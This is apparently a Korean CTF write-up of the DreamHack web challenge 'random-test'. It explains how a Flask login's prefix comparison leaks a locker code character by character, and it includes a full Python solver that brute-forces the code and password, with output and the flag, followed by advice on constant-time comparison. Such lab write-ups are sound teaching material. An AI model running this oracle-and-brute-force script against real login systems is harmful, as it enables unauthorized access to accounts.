[๐Ÿฅ‰ Bronze 4] ๋ถ€๋ถ„ ์ผ์น˜ ๋ˆ„์ถœ๋กœ 4์ž๋ฆฌ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ ๋ณต์› โ€” DreamHack random-test ํ’€์ด

2026-06-04ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 4] ๋ถ€๋ถ„ ์ผ์น˜ ๋ˆ„์ถœ๋กœ 4์ž๋ฆฌ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ ๋ณต์› โ€” DreamHack random-test ํ’€์ด

๋กœ๊ทธ์ธ ํผ์ด ์ „์ฒด ๊ฐ’์ด ์•„๋‹ˆ๋ผ ์ž…๋ ฅ ๊ธธ์ด๋งŒํผ์˜ prefix๋งŒ ๋น„๊ตํ•˜๋ฉด, ํ•œ ๊ธ€์ž์”ฉ ์ •๋‹ต์„ ๋– ๋ณด๋Š” oracle์ด ๋œ๋‹ค. 2.1์–ต ์กฐํ•ฉ์งœ๋ฆฌ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ+๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ 176๋ฒˆ์˜ ์š”์ฒญ์œผ๋กœ ๋ณต์›ํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป๋Š” ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” random-test ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 4 FLAG: DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}


๋ฌธ์ œ ๊ฐœ์š”

์ƒˆ ํ•™๊ธฐ์— ์‚ฌ๋ฌผํ•จ์„ ๋ฐฐ์ •๋ฐ›์€ ๋“œ๋ฆผ์ด๊ฐ€ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ชจ๋‘ ์žŠ์–ด๋ฒ„๋ ธ๋‹ค. ๋‘ ๊ฐ’์„ ๋งž๊ฒŒ ์ž…๋ ฅํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์˜จ๋‹ค.

  • ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ: ์†Œ๋ฌธ์žยท์ˆซ์ž๋กœ ์ด๋ค„์ง„ 4์ž๋ฆฌ ๋žœ๋ค ๋ฌธ์ž์—ด
  • ๋น„๋ฐ€๋ฒˆํ˜ธ: 100 ์ด์ƒ 200 ์ดํ•˜์˜ ๋žœ๋ค ์ •์ˆ˜
ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…random-test
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 4
๋ถ„๋ฅ˜Web (Flask)
์ œ๊ณต ํŒŒ์ผ / ์„œ๋ฒ„app.py + http://host8.dreamhack.games:22962/
ํ•ต์‹ฌ ์ทจ์•ฝ์ ์ž…๋ ฅ ๊ธธ์ด๋งŒํผ๋งŒ ๋น„๊ตํ•˜๋Š” prefix ์ผ์น˜ ๋ˆ„์ถœ (oracle)

์ˆœ์ˆ˜ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์ด๋ฉด ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ 36โด(=์•ฝ 168๋งŒ) ร— ๋น„๋ฐ€๋ฒˆํ˜ธ 101๊ฐ€์ง€ โ‰ˆ 2.1์–ต ์กฐํ•ฉ์ด๋‹ค. ๊ทธ๋Œ€๋กœ ๋‹ค ๋•Œ๋ ค๋ณด๊ธด ๋น„ํ˜„์‹ค์ ์ด๋‹ค.

ํ•˜์ง€๋งŒ ์„œ๋ฒ„ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด ๋น„๊ต ๋กœ์ง ํ•œ ์ค„์ด ์ •๋‹ต์„ ํ•œ ๊ธ€์ž์”ฉ ํ˜๋ฆฐ๋‹ค. ๊ทธ ๋ˆ„์ถœ์„ ์ด์šฉํ•˜๋ฉด ๊ฐ™์€ ๋ฌธ์ œ๊ฐ€ 176๋ฒˆ์˜ ์š”์ฒญ์œผ๋กœ ์ค„์–ด๋“ ๋‹ค.

๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธยท๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋ ฅ ํผ
๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธยท๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋ ฅ ํผ



๐Ÿ”ฌ ๋ถ„์„ โ€” ์„œ๋ฒ„ ์ฝ”๋“œ ํ•œ ์ค„์ด ์ „๋ถ€

์ œ๊ณต๋œ app.py์—์„œ ๊ฐ’ ์ƒ์„ฑ๊ณผ ๊ฒ€์ฆ ๋ถ€๋ถ„๋งŒ ๋ณด๋ฉด ์ด๋ ‡๋‹ค.

rand_str = ""
alphanumeric = string.ascii_lowercase + string.digits   # 36๊ธ€์ž
for i in range(4):
    rand_str += str(random.choice(alphanumeric))
 
rand_num = random.randint(100, 200)
 
@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    else:
        locker_num = request.form.get("locker_num", "")
        password = request.form.get("password", "")
 
        if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
            if locker_num == rand_str and password == str(rand_num):
                return render_template("index.html", result="FLAG:" + FLAG)
            return render_template("index.html", result="Good")
        else:
            return render_template("index.html", result="Wrong!")

rand_str๊ณผ rand_num์€ ํ•จ์ˆ˜ ๋ฐ–, ๋ชจ๋“ˆ ์ตœ์ƒ๋‹จ์—์„œ ์ƒ์„ฑ๋œ๋‹ค. ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‚ด์•„ ์žˆ๋Š” ๋™์•ˆ ๊ฐ’์ด ๋ฐ”๋€Œ์ง€ ์•Š๋Š”๋‹ค. ์—ฌ๋Ÿฌ ๋ฒˆ ๋‚˜๋ˆ ์„œ ๋– ๋ด๋„ ์ •๋‹ต์ด ๊ทธ๋Œ€๋กœ ์œ ์ง€๋œ๋‹ค๋Š” ๋œป์ด๋ผ, ๊ธ€์ž ๋‹จ์œ„ ๋ณต์›์ด ์„ฑ๋ฆฝํ•œ๋‹ค.

๋…ธ๋ฆด ๊ณณ์€ rand_str[0:len(locker_num)] == locker_num ํ•œ ์ค„์ด๋‹ค.

rand_str ์ „์ฒด์™€ ๋น„๊ตํ•˜๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ, ๋‚ด๊ฐ€ ๋ณด๋‚ธ ์ž…๋ ฅ ๊ธธ์ด๋งŒํผ ์ž˜๋ผ์„œ ๋น„๊ตํ•œ๋‹ค. locker_num์ด ์ •๋‹ต์˜ ์•ž๋ถ€๋ถ„(prefix)์ด๊ธฐ๋งŒ ํ•˜๋ฉด ์•ˆ์ชฝ if๋กœ ๋“ค์–ด๊ฐ€ "Good"์„ ๋Œ๋ ค์ค€๋‹ค. prefix๊ฐ€ ์–ด๊ธ‹๋‚˜๋ฉด "Wrong!"์ด๋‹ค.

์„ธ ๊ฐ€์ง€ ์‘๋‹ต์ด ๊ทธ๋Œ€๋กœ ์‹ ํ˜ธ๊ฐ€ ๋œ๋‹ค.

์‘๋‹ต์˜๋ฏธ
Wrong!์ž…๋ ฅ์ด ์ •๋‹ต์˜ prefix๊ฐ€ ์•„๋‹˜
Good์ž…๋ ฅ์ด ์ •๋‹ต์˜ prefix๋Š” ๋งž์Œ (์ „์ฒด ์ •๋‹ต์€ ์•„์ง)
FLAG:...์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ ์ „์ฒด + ๋น„๋ฐ€๋ฒˆํ˜ธ๊นŒ์ง€ ์ •๋‹ต

๋จผ์ € ์™„์ „ํžˆ ํ‹€๋ฆฐ ๊ฐ’(zzzz)์„ ๋„ฃ์–ด Wrong!์„ ํ™•์ธํ•œ๋‹ค.

์™„์ „ ์˜ค๋‹ต zzzz โ†’ Wrong!
์™„์ „ ์˜ค๋‹ต zzzz โ†’ Wrong!

์ด๋ฒˆ์—” ํ•œ ๊ธ€์ž t๋งŒ ๋ณด๋‚ธ๋‹ค. ์ •๋‹ต์˜ ์ฒซ ๊ธ€์ž๊ฐ€ t๋ผ๋ฉด Good์ด ๋‚˜์™€์•ผ ํ•œ๋‹ค.

์ฒซ ๊ธ€์ž t๋งŒ ๋ณด๋ƒ„ โ†’ Good (prefix ์ผ์น˜ ๋ˆ„์ถœ)
์ฒซ ๊ธ€์ž t๋งŒ ๋ณด๋ƒ„ โ†’ Good (prefix ์ผ์น˜ ๋ˆ„์ถœ)

Good์ด ๋–ด๋‹ค. ํ•œ ๊ธ€์ž๋งŒ ๋งž์•„๋„ ํ†ต๊ณผํ•œ๋‹ค๋Š” ๊ฒŒ ๋ˆˆ์œผ๋กœ ํ™•์ธ๋๋‹ค. ์ •๋‹ต์„ ํ•œ ๊ธ€์ž์”ฉ ๋– ๋ณผ ์ˆ˜ ์žˆ๋Š” oracle์ด ์ƒ๊ธด ๊ฒƒ์ด๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” prefix ๋น„๊ต๊ฐ€ ๋งŒ๋“  oracle

๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ•œ ๊ธ€์ž์”ฉ ๋น„๊ตํ•˜๋‹ค๊ฐ€ ์ฒ˜์Œ ํ‹€๋ฆฌ๋Š” ๊ณณ์—์„œ ๋ฉˆ์ถ”๋Š” ์ฝ”๋“œ๋Š” ์‘๋‹ต ์‹œ๊ฐ„์œผ๋กœ ์ •๋‹ต์„ ํ˜๋ฆฌ๋Š” timing ๊ณต๊ฒฉ์˜ ๋‹จ๊ณจ์ด๋‹ค. ์ด ๋ฌธ์ œ๋Š” ๋” ์ง์ ‘์ ์ด๋‹ค. ๋ถ€๋ถ„ ์ผ์น˜๋ฅผ ์•„์˜ˆ "Good"์ด๋ผ๋Š” ๋ช…์‹œ์  ์‹ ํ˜ธ๋กœ ์•Œ๋ ค์ค€๋‹ค.

๊ณต๊ฒฉ ์ ˆ์ฐจ๋Š” ๋‹จ์ˆœํ•˜๋‹ค.

  1. ์ฒซ ์ž๋ฆฌ: a, b, c โ€ฆ 36๊ธ€์ž๋ฅผ ํ•œ ๊ธ€์ž์”ฉ ๋ณด๋‚ธ๋‹ค. Good์ด ๋œจ๋Š” ๊ธ€์ž๊ฐ€ ์ฒซ ๊ธ€์ž๋‹ค.
  2. ๋‘˜์งธ ์ž๋ฆฌ: ์ฐพ์€ ์ฒซ ๊ธ€์ž ๋’ค์— a~9๋ฅผ ๋ถ™์—ฌ ๋‘ ๊ธ€์ž๋กœ ๋ณด๋‚ธ๋‹ค. Good์ด ๋œจ๋ฉด ๊ทธ ๊ธ€์ž๊ฐ€ ๋‘˜์งธ ๊ธ€์ž.
  3. ๊ฐ™์€ ์‹์œผ๋กœ 4์ž๋ฆฌ๊นŒ์ง€ ์ฑ„์šฐ๋ฉด ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ๊ฐ€ ์™„์„ฑ๋œ๋‹ค.

prefix oracle ๋™์ž‘ โ€” Good/Wrong์œผ๋กœ ํ•œ ๊ธ€์ž์”ฉ ํ™•์ •
prefix oracle ๋™์ž‘ โ€” Good/Wrong์œผ๋กœ ํ•œ ๊ธ€์ž์”ฉ ํ™•์ •

์ž๋ฆฌ๋‹น ์ตœ๋Œ€ 36ํšŒ, 4์ž๋ฆฌ๋‹ˆ๊นŒ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ๋Š” ์ตœ๋Œ€ 144ํšŒ๋ฉด ๋ณต์›๋œ๋‹ค. ํ‰๊ท ์€ ์ ˆ๋ฐ˜์ธ 72ํšŒ ์ •๋„๋‹ค.

์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ ์ „์ฒด(locker_num == rand_str)๋ฅผ ๋งž์ถ˜ ๋’ค์—๋„ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ํ‹€๋ฆฌ๋ฉด ์—ฌ์ „ํžˆ Good์ด ๋‚˜์˜จ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ๊ฐ€ ํ™•์ •๋œ ๋‹ค์Œ ๋น„๋ฐ€๋ฒˆํ˜ธ 100~200์„ ์ฐจ๋ก€๋กœ ๋„ฃ์–ด๋ณด๋ฉด ๋œ๋‹ค. ์—ฌ๊ธฐ๋Š” ์ตœ๋Œ€ 101ํšŒ๋‹ค.

์‚ฌ๋ฌผํ•จ ์ „์ฒด๋Š” ๋งž๊ณ  ๋น„๋ฐ€๋ฒˆํ˜ธ๋งŒ ํ‹€๋ฆฐ ๊ฒฝ์šฐ(tzl1 / 000)๋„ ๋˜‘๊ฐ™์ด Good์ด ๋‚˜์˜ค๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค โ€” ๋‘ ๋‹จ๊ณ„๋ฅผ ๊ฐ€๋ฅด๋Š” ๊ธฐ์ค€์€ ์˜ค์ง FLAG: ๋“ฑ์žฅ ์—ฌ๋ถ€๋‹ค.

๋‘˜์„ ํ•ฉ์ณ ์ตœ๋Œ€ 245ํšŒ, ํ‰๊ท  200ํšŒ ์•ˆ์ชฝ. 2.1์–ต ์กฐํ•ฉ์ด ์‚ฌ์‹ค์ƒ ์„ ํ˜• ํƒ์ƒ‰์œผ๋กœ ๋ฌด๋„ˆ์ง„๋‹ค.


๐ŸŽฏ ํ’€์ด โ€” ์†”๋ฒ„ ์ž‘์„ฑ

requests ์„ธ์…˜์œผ๋กœ POST๋ฅผ ๋‚ ๋ฆฌ๊ณ  ์‘๋‹ต ๋ณธ๋ฌธ์— Wrong!์ด ์—†์œผ๋ฉด prefix๊ฐ€ ๋งž์€ ๊ฒƒ์œผ๋กœ ํŒ์ •ํ•œ๋‹ค. ์‘๋‹ต์€ Good์ด๋“  FLAG:๋“  ๋‘˜ ๋‹ค "prefix ์ผ์น˜"์ด๋ฏ€๋กœ Wrong! ๋ถ€์žฌ ํ•œ ๊ฐ€์ง€๋กœ ๊น”๋”ํ•˜๊ฒŒ ๊ฐˆ๋ฆฐ๋‹ค.

def query(locker_num, password=""):
    r = s.post(URL, data={"locker_num": locker_num, "password": password}, timeout=10)
    return r.text
 
# 1) prefix oracle๋กœ 4๊ธ€์ž ๋ณต์›
locker = ""
for pos in range(4):
    for c in ALPHANUM:                 # ascii_lowercase + digits = 36๊ธ€์ž
        if "Wrong!" not in query(locker + c):
            locker += c                # ์ด ์ž๋ฆฌ ๊ธ€์ž ํ™•์ •
            break

์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ๊ฐ€ ์™„์„ฑ๋˜๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ๋งŒ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•œ๋‹ค.

# 2) ๋น„๋ฐ€๋ฒˆํ˜ธ 100~200 brute-force
for pw in range(100, 201):
    if "FLAG:" in query(locker, str(pw)):
        print(pw)                      # ์ •๋‹ต ๋น„๋ฐ€๋ฒˆํ˜ธ
        break


๐Ÿš€ Full Exploit

#!/usr/bin/python3
# random-test ์†”๋ฒ„ โ€” prefix ๋น„๊ต oracle๋กœ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ๋ฅผ ํ•œ ๊ธ€์ž์”ฉ ๋ณต์›ํ•˜๊ณ ,
# ๋น„๋ฐ€๋ฒˆํ˜ธ(100~200)๋ฅผ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•ด FLAG๋ฅผ ์–ป๋Š”๋‹ค.
import sys
import string
import requests
 
URL = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8077/"
ALPHANUM = string.ascii_lowercase + string.digits  # ํ›„๋ณด 36๊ธ€์ž
 
s = requests.Session()
 
 
def query(locker_num, password=""):
    r = s.post(URL, data={"locker_num": locker_num, "password": password}, timeout=10)
    return r.text
 
 
# 1) prefix oracle๋กœ 4๊ธ€์ž ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ ๋ณต์›
#    rand_str[0:len(locker_num)] == locker_num ์ด๋ฉด "Good", ์•„๋‹ˆ๋ฉด "Wrong!"
locker = ""
reqs = 0
for pos in range(4):
    for c in ALPHANUM:
        reqs += 1
        body = query(locker + c)
        if "Wrong!" not in body:          # "Good" ๋˜๋Š” "FLAG" โ†’ prefix ์ผ์น˜
            locker += c
            print(f"[+] pos {pos}: '{c}' -> locker = '{locker}'")
            break
    else:
        print("[-] ํ•ด๋‹น ์œ„์น˜์—์„œ ์ผ์น˜ํ•˜๋Š” ๊ธ€์ž ์—†์Œ โ€” ์ค‘๋‹จ")
        sys.exit(1)
 
print(f"[*] ๋ณต์›๋œ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ: {locker}  ({reqs} requests)")
 
# 2) ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… (100~200)
for pw in range(100, 201):
    reqs += 1
    body = query(locker, str(pw))
    if "FLAG:" in body:
        flag = body.split("FLAG:", 1)[1].split("<", 1)[0].strip()
        print(f"[+] ๋น„๋ฐ€๋ฒˆํ˜ธ: {pw}")
        print(f"[*] ์ด ์š”์ฒญ ์ˆ˜: {reqs}")
        print(f"[FLAG] {flag}")
        break
else:
    print("[-] ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฐพ์ง€ ๋ชปํ•จ")

์›๊ฒฉ ์„œ๋ฒ„์— ๊ทธ๋Œ€๋กœ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ๋‹ค.

$ python3 solve.py http://host8.dreamhack.games:22962/
[+] pos 0: 't' -> locker = 't'
[+] pos 1: 'z' -> locker = 'tz'
[+] pos 2: 'l' -> locker = 'tzl'
[+] pos 3: '1' -> locker = 'tzl1'
[*] ๋ณต์›๋œ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ: tzl1  (86 requests)
[+] ๋น„๋ฐ€๋ฒˆํ˜ธ: 189
[*] ์ด ์š”์ฒญ ์ˆ˜: 176
[FLAG] DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}

์†”๋ฒ„ ์‹คํ–‰ โ€” ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ tzl1, ๋น„๋ฐ€๋ฒˆํ˜ธ 189 ๋ณต์›
์†”๋ฒ„ ์‹คํ–‰ โ€” ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ tzl1, ๋น„๋ฐ€๋ฒˆํ˜ธ 189 ๋ณต์›

์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ tzl1์„ 86ํšŒ ๋งŒ์— ๋ณต์›ํ•˜๊ณ , ๋น„๋ฐ€๋ฒˆํ˜ธ 189๊นŒ์ง€ ์ด 176ํšŒ ์š”์ฒญ์œผ๋กœ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์™”๋‹ค. ๋ธŒ๋ผ์šฐ์ €์—์„œ ๊ฐ™์€ ๊ฐ’์„ ์ง์ ‘ ๋„ฃ์–ด๋„ ๋™์ผํ•˜๊ฒŒ ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.

tzl1 / 189 ์ž…๋ ฅ โ†’ FLAG ์ถœ๋ ฅ
tzl1 / 189 ์ž…๋ ฅ โ†’ FLAG ์ถœ๋ ฅ

DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}


๐Ÿ“ ๊ฒฐ๋ก 

๋น„๋ฐ€์€ ์ „์ฒด๋ฅผ ํ•œ ๋ฒˆ์— ๋น„๊ตํ•ด์•ผ ํ•œ๋‹ค.

์ด ๋ฌธ์ œ์˜ ๊ฒฐํ•จ์€ rand_str[0:len(locker_num)] == locker_num ํ•œ ์ค„์ด๋‹ค. ์ž…๋ ฅ ๊ธธ์ด์— ๋งž์ถฐ ์ •๋‹ต์„ ์ž˜๋ผ ๋น„๊ตํ•˜๋Š” ์ˆœ๊ฐ„, ๋งž์€ ์ž๋ฆฌ๊ฐ€ ์–ด๋””๊นŒ์ง€์ธ์ง€๊ฐ€ ์‘๋‹ต์— ๋“œ๋Ÿฌ๋‚œ๋‹ค.

๋ถ€๋ถ„ ์ผ์น˜๋ฅผ ์•Œ๋ ค์ฃผ๋ฉด ๊ณฑ์…ˆ์ด ๋ง์…ˆ์ด ๋œ๋‹ค.

์›๋ž˜ ์‚ฌ๋ฌผํ•จ ๋ฒˆํ˜ธ๋Š” 36 ร— 36 ร— 36 ร— 36์˜ ๊ณฑ์…ˆ ๊ณต๊ฐ„์ด๋‹ค. ํ•œ ์ž๋ฆฌ์”ฉ ํ™•์ • ์‹ ํ˜ธ๋ฅผ ์ฃผ๋ฉด 36 + 36 + 36 + 36์˜ ๋ง์…ˆ์œผ๋กœ ์ค„์–ด๋“ ๋‹ค. ๋น„๋ฐ€๋ฒˆํ˜ธ brute-force๊นŒ์ง€ ๋”ํ•ด๋„ 245ํšŒ๋ฉด ๋๋‚œ๋‹ค. ์ด๊ฒŒ oracle ๊ณต๊ฒฉ์ด ๋ฌด์„œ์šด ์ด์œ ๋‹ค.

ํ˜„์‹ค์—์„œ๋„ ๊ฐ™์€ ํŒจํ„ด์ด ๋ฐ˜๋ณต๋œ๋‹ค.

๋กœ๊ทธ์ธ ์‹คํŒจ ๋ฉ”์‹œ์ง€๋ฅผ "์•„์ด๋”” ์—†์Œ"๊ณผ "๋น„๋ฐ€๋ฒˆํ˜ธ ํ‹€๋ฆผ"์œผ๋กœ ๋‚˜๋ˆ„๋ฉด ๊ณ„์ • ์กด์žฌ ์—ฌ๋ถ€๊ฐ€ ์ƒˆ๊ณ , ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ•œ ๊ธ€์ž์”ฉ ๋น„๊ตํ•˜๋‹ค ๋ฉˆ์ถ”๋ฉด ์‘๋‹ต ์‹œ๊ฐ„์œผ๋กœ ์ •๋‹ต์ด ์ƒŒ๋‹ค. ๋น„๊ต๋Š” ์ •๋‹ต ๊ธธ์ด ๊ธฐ์ค€์œผ๋กœ, ๋๊นŒ์ง€, ๊ฐ€๋Šฅํ•˜๋ฉด ์ƒ์ˆ˜ ์‹œ๊ฐ„(hmac.compare_digest ๊ฐ™์€)์œผ๋กœ ํ•˜๋Š” ๊ฒŒ ์•ˆ์ „ํ•˜๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 4] ํ™”๋ฉด์˜ "10์ดˆ ๋’ค ๊ณต๊ฐœ"๋Š” ํด๋ผ์ด์–ธํŠธ๋งŒ์˜ ์•ฝ์†์ด์—ˆ๋‹ค โ€” DreamHack Test Your Luck ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] ํ™”๋ฉด์˜ "10์ดˆ ๋’ค ๊ณต๊ฐœ"๋Š” ํด๋ผ์ด์–ธํŠธ๋งŒ์˜ ์•ฝ์†์ด์—ˆ๋‹ค โ€” DreamHack Test Your Luck ํ’€์ด

0๋ถ€ํ„ฐ 10000 ์‚ฌ์ด์˜ ์ˆซ์ž๋ฅผ ๋งžํžˆ๋ฉด flag๋ฅผ ์ค€๋‹ค๋Š” ๊ฒŒ์ž„์ด๋‹ค. ์ •๋‹ต์€ ์„œ๋ฒ„ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋œฐ ๋•Œ ๋”ฑ ํ•œ ๋ฒˆ ๋ฝ‘ํ˜€ ์ „์—ญ๋ณ€์ˆ˜์— ๋ฐ•ํžˆ๊ณ , ๊ทธ ๋’ค๋กœ๋Š” ์ ˆ๋Œ€ ๋ฐ”๋€Œ์ง€ ์•Š๋Š”๋‹ค. ํ™”๋ฉด์—๋Š” "๊ฒฐ๊ณผ๋Š” 10์ดˆ ๋’ค์— ๊ณต๊ฐœ๋ฉ๋‹ˆ๋‹ค"๋ผ๊ณ  ์ ํ˜€ ์žˆ์ง€๋งŒ, ๊ทธ 10์ดˆ๋Š” ์„œ๋ฒ„๊ฐ€ ๊ฐ•์ œํ•˜๋Š” ๊ทœ์น™์ด ์•„๋‹ˆ๋ผ ๋ธŒ๋ผ์šฐ์ € ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์˜ setTimeout ํ•œ ์ค„์ผ ๋ฟ์ด๋‹ค. ์ง์ ‘ ์š”์ฒญ์„ ์ฐ”๋Ÿฌ๋ณด๋ฉด ์„œ๋ฒ„๋Š” ๋ฐ€๋ฆฌ์ดˆ ๋‹จ์œ„๋กœ ์ฆ‰์‹œ ๋Œ€๋‹ตํ•œ๋‹ค โ€” ๊ทธ๋Ÿฌ๋ฉด 10001๊ฐ€์ง€ ๋ฟ์ธ ์ •๋‹ต์„ ๊ทธ๋ƒฅ ์ฒ˜์Œ๋ถ€ํ„ฐ ๋๊นŒ์ง€ ๋‹ค ๋ฌผ์–ด๋ณด๋ฉด ๋œ๋‹ค.
#dreamhack#ctf#web+5
2026-07-21#dreamhack +5
[๐ŸŒฑ ์ƒˆ์‹น] admin ์„ธ์…˜ ID๊ฐ€ ๋‹จ 1๋ฐ”์ดํŠธ์˜€๋‹ค โ€” DreamHack session ํ’€์ด
blog

[๐ŸŒฑ ์ƒˆ์‹น] admin ์„ธ์…˜ ID๊ฐ€ ๋‹จ 1๋ฐ”์ดํŠธ์˜€๋‹ค โ€” DreamHack session ํ’€์ด

๋กœ๊ทธ์ธ ์„ธ์…˜์„ ์ฟ ํ‚ค ํ•˜๋‚˜๋กœ ์‹๋ณ„ํ•˜๋Š” Flask ์•ฑ. ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž ์„ธ์…˜์€ 4๋ฐ”์ดํŠธ ๋‚œ์ˆ˜๋กœ ๋งŒ๋“ค์ง€๋งŒ, ์„œ๋ฒ„๊ฐ€ ์‹œ์ž‘ํ•  ๋•Œ ๋ฏธ๋ฆฌ ๊น”์•„ ๋‘๋Š” admin ์„ธ์…˜์€ os.urandom(1) โ€” ๋‹จ 1๋ฐ”์ดํŠธ(00~ff, 256๊ฐ€์ง€)๋กœ ๋งŒ๋“ ๋‹ค. sessionid ์ฟ ํ‚ค๋ฅผ 256๋ฒˆ ๊ฐˆ์•„ ๋ผ์šฐ๋ฉด admin ์„ธ์…˜์„ ๊ทธ๋Œ€๋กœ ์ฃผ์›Œ flag๋ฅผ ์ฝ๋Š”๋‹ค.
#dreamhack#ctf#web+5
2026-06-25#dreamhack +5
[๐Ÿฅ‰ Bronze 3] ์•„๋ฌด๋„ ์—†๋Š” ํ…Œ์ด๋ธ”์ด ๋งŒ๋“  ๋ฌด์กฐ๊ฑด ์ฐธ โ€” DreamHack Logical ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ์•„๋ฌด๋„ ์—†๋Š” ํ…Œ์ด๋ธ”์ด ๋งŒ๋“  ๋ฌด์กฐ๊ฑด ์ฐธ โ€” DreamHack Logical ํ’€์ด

Flask ๋กœ๊ทธ์ธ ํผ ํ•˜๋‚˜์งœ๋ฆฌ ๋ฌธ์ œ. ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ md5 ๋กœ ๊ตณํ˜€ ๋„ฃ์–ด SQL ์ธ์ ์…˜์€ ๋‹ซํ˜€ ์žˆ๋Š”๋ฐ, ์ •์ž‘ users ํ…Œ์ด๋ธ”์— ํ–‰์ด ํ•˜๋‚˜๋„ ์—†๋‹ค. ์กฐํšŒ๊ฐ€ ๋นˆ ๊ฒฐ๊ณผ๋ฅผ ๋Œ๋ ค์ฃผ๋ฉด ์•„์ด๋””๊ฐ€ ๋นˆ ๋ฌธ์ž์—ด๋กœ ๋–จ์–ด์ง€๊ณ , ๋งˆ์ง€๋ง‰ ๋น„๊ต๊ฐ€ ๊ทธ ๋นˆ ๋ฌธ์ž์—ด๊ณผ ์šฐ๋ฆฌ๊ฐ€ ๋ณด๋‚ธ ์•„์ด๋””๋ฅผ ๋งž๋Œ€ ๋ณธ๋‹ค. ์•„์ด๋””๋ฅผ ๋น„์šด ์š”์ฒญ ํ•œ ๋ฒˆ์œผ๋กœ ๋กœ๊ทธ์ธ์ด ํ†ต๊ณผํ•œ๋‹ค.
#dreamhack#ctf#web+6
2026-08-14#dreamhack +4